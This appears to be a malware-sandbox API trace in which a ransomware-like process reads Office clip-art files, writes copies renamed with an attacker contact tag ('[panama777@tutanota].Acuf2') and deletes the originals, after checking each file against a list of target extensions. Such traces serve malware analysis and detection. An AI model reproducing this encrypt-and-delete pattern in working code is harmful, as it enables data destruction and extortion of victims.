	[0255.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1
	[0255.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.580] lstrlenW (lpString=".doc") returned 4
	[0255.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.580] lstrlenW (lpString=".docx") returned 5
	[0255.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.580] lstrlenW (lpString=".pdf") returned 4
	[0255.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.580] lstrlenW (lpString=".xls") returned 4
	[0255.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.580] lstrlenW (lpString=".xlsx") returned 5
	[0255.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.581] lstrlenW (lpString=".ppt") returned 4
	[0255.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.581] lstrlenW (lpString=".zip") returned 4
	[0255.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.581] lstrlenW (lpString=".rar") returned 4
	[0255.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString=".bz2") returned 4
	[0255.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString=".7z") returned 3
	[0255.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.581] lstrlenW (lpString=".dbf") returned 4
	[0255.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.581] lstrlenW (lpString=".1cd") returned 4
	[0255.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.581] lstrlenW (lpString=".jpg") returned 4
	[0255.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.581] lstrlenW (lpString=".doc") returned 4
	[0255.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString=".docx") returned 5
	[0255.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.581] lstrlenW (lpString=".pdf") returned 4
	[0255.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.581] lstrlenW (lpString=".xls") returned 4
	[0255.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.582] lstrlenW (lpString=".xlsx") returned 5
	[0255.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.582] lstrlenW (lpString=".ppt") returned 4
	[0255.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.582] lstrlenW (lpString=".zip") returned 4
	[0255.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.582] lstrlenW (lpString=".rar") returned 4
	[0255.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.582] lstrlenW (lpString=".bz2") returned 4
	[0255.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.582] lstrlenW (lpString=".7z") returned 3
	[0255.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.582] lstrlenW (lpString=".dbf") returned 4
	[0255.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.582] lstrlenW (lpString=".1cd") returned 4
	[0255.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63
	[0255.582] lstrlenW (lpString=".jpg") returned 4
	[0255.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.582] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.583] lstrlenW (lpString="BD00116_.WMF") returned 12
	[0255.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.627] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4870) returned 1
	[0255.627] CloseHandle (hObject=0x344) returned 1
	[0255.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20
	[0255.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.629] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.629] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.629] GetLastError () returned 0x0
	[0255.629] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1306, lpOverlapped=0x0) returned 1
	[0255.631] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1310, lpOverlapped=0x0) returned 1
	[0255.632] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.632] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.632] SetEndOfFile (hFile=0x29c) returned 1
	[0255.632] CloseHandle (hObject=0x29c) returned 1
	[0255.632] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.632] SetEndOfFile (hFile=0x344) returned 1
	[0255.634] CloseHandle (hObject=0x344) returned 1
	[0255.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1
	[0255.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.635] lstrlenW (lpString=".doc") returned 4
	[0255.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.635] lstrlenW (lpString=".docx") returned 5
	[0255.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.635] lstrlenW (lpString=".pdf") returned 4
	[0255.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.635] lstrlenW (lpString=".xls") returned 4
	[0255.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.635] lstrlenW (lpString=".xlsx") returned 5
	[0255.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.636] lstrlenW (lpString=".ppt") returned 4
	[0255.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.636] lstrlenW (lpString=".zip") returned 4
	[0255.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.636] lstrlenW (lpString=".rar") returned 4
	[0255.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString=".bz2") returned 4
	[0255.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString=".7z") returned 3
	[0255.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.636] lstrlenW (lpString=".dbf") returned 4
	[0255.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.636] lstrlenW (lpString=".1cd") returned 4
	[0255.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.636] lstrlenW (lpString=".jpg") returned 4
	[0255.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.636] lstrlenW (lpString=".doc") returned 4
	[0255.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString=".docx") returned 5
	[0255.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.636] lstrlenW (lpString=".pdf") returned 4
	[0255.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.636] lstrlenW (lpString=".xls") returned 4
	[0255.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.636] lstrlenW (lpString=".xlsx") returned 5
	[0255.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.637] lstrlenW (lpString=".ppt") returned 4
	[0255.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.637] lstrlenW (lpString=".zip") returned 4
	[0255.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.637] lstrlenW (lpString=".rar") returned 4
	[0255.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.637] lstrlenW (lpString=".bz2") returned 4
	[0255.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.637] lstrlenW (lpString=".7z") returned 3
	[0255.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.637] lstrlenW (lpString=".dbf") returned 4
	[0255.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.637] lstrlenW (lpString=".1cd") returned 4
	[0255.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63
	[0255.638] lstrlenW (lpString=".jpg") returned 4
	[0255.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.638] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.638] lstrlenW (lpString="BD00173_.WMF") returned 12
	[0255.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.638] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=16180) returned 1
	[0255.638] CloseHandle (hObject=0x344) returned 1
	[0255.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20
	[0255.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.639] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.639] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.639] GetLastError () returned 0x0
	[0255.639] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3f34, lpOverlapped=0x0) returned 1
	[0255.641] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3f40, lpOverlapped=0x0) returned 1
	[0255.642] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.642] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.642] SetEndOfFile (hFile=0x29c) returned 1
	[0255.642] CloseHandle (hObject=0x29c) returned 1
	[0255.642] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.642] SetEndOfFile (hFile=0x344) returned 1
	[0255.645] CloseHandle (hObject=0x344) returned 1
	[0255.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1
	[0255.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.645] lstrlenW (lpString=".doc") returned 4
	[0255.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.645] lstrlenW (lpString=".docx") returned 5
	[0255.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.645] lstrlenW (lpString=".pdf") returned 4
	[0255.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.645] lstrlenW (lpString=".xls") returned 4
	[0255.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.645] lstrlenW (lpString=".xlsx") returned 5
	[0255.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.646] lstrlenW (lpString=".ppt") returned 4
	[0255.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.646] lstrlenW (lpString=".zip") returned 4
	[0255.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.646] lstrlenW (lpString=".rar") returned 4
	[0255.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString=".bz2") returned 4
	[0255.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString=".7z") returned 3
	[0255.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.646] lstrlenW (lpString=".dbf") returned 4
	[0255.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.646] lstrlenW (lpString=".1cd") returned 4
	[0255.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.646] lstrlenW (lpString=".jpg") returned 4
	[0255.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.646] lstrlenW (lpString=".doc") returned 4
	[0255.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString=".docx") returned 5
	[0255.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.646] lstrlenW (lpString=".pdf") returned 4
	[0255.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.646] lstrlenW (lpString=".xls") returned 4
	[0255.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.647] lstrlenW (lpString=".xlsx") returned 5
	[0255.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.647] lstrlenW (lpString=".ppt") returned 4
	[0255.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.647] lstrlenW (lpString=".zip") returned 4
	[0255.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.647] lstrlenW (lpString=".rar") returned 4
	[0255.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.647] lstrlenW (lpString=".bz2") returned 4
	[0255.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.647] lstrlenW (lpString=".7z") returned 3
	[0255.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.647] lstrlenW (lpString=".dbf") returned 4
	[0255.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.648] lstrlenW (lpString=".1cd") returned 4
	[0255.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63
	[0255.648] lstrlenW (lpString=".jpg") returned 4
	[0255.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.648] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.648] lstrlenW (lpString="BD05119_.WMF") returned 12
	[0255.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.649] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=17236) returned 1
	[0255.649] CloseHandle (hObject=0x344) returned 1
	[0255.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20
	[0255.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.649] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.649] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.650] GetLastError () returned 0x0
	[0255.650] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x4354, lpOverlapped=0x0) returned 1
	[0255.652] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4360, lpOverlapped=0x0) returned 1
	[0255.653] ReadFile (in: hFile=0x344, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.653] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.653] SetEndOfFile (hFile=0x29c) returned 1
	[0255.653] CloseHandle (hObject=0x29c) returned 1
	[0255.653] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.653] SetEndOfFile (hFile=0x344) returned 1
	[0255.783] CloseHandle (hObject=0x344) returned 1
	[0255.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1
